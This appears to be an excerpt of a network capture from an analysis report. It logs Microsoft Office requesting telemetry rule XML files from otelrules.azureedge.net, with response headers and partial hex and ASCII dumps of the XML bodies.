2024-11-01 04:53:16 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:16 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:16 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:16 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: cd04a713-f01e-003f-7315-26d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045316Z-16849878b786fl7gm2qg4r5y700000000av00000000085fc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 04:53:16 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:16 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:16 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:16 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 5c8c4e1d-601e-0002-3bca-2aa786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045316Z-17c5cb586f62vrfquq10qybcuw00000003gg000000009khr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:16 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:16 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:16 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:16 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: eb17c832-b01e-0097-1249-274f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045316Z-15b8d89586fmhjx6a8nf3qm53c00000004gg000000001fg4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:16 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:16 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:16 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:16 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 255ed8c5-301e-0051-461c-2738bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045316Z-16849878b78nzcqcd7bed2fb6n00000002yg00000000etwh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-01 04:53:16 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:16 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:17 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:17 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: cdbfd92d-501e-0029-317f-27d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045317Z-16849878b785dznd7xpawq9gcn0000000bw000000000gf5t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:17 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:17 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:17 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:17 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 24b2bddd-501e-0016-07ca-2a181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045317Z-16849878b78qf2gleqhwczd21s0000000ang00000000p5yg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:17 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:17 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:17 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:17 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 2e8006eb-901e-0083-471c-26bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045317Z-16849878b78xblwksrnkakc08w00000009qg00000000pexb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:17 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:17 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:17 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:17 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 5ab4434b-401e-000a-2f95-2a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045317Z-159b85dff8fj5jwshC1DFW3rgc00000002e00000000062fz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:17 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:17 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:17 UTC	561	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:17 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: c9b06975-e01e-0051-49ff-2b84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045317Z-17c5cb586f69p7mmw593w958p400000001v0000000005vx2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:17 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:17 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:17 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:17 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: eff8debc-001e-0065-199c-270b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045317Z-16849878b78x44pv2mpb0dd37w00000002q00000000070p6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:17 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:18 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 04:53:18 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:18 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: eb0745eb-f01e-003c-6cca-2a8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T045318Z-159b85dff8fj5jwshC1DFW3rgc00000002a000000000fsvf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 04:53:18 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 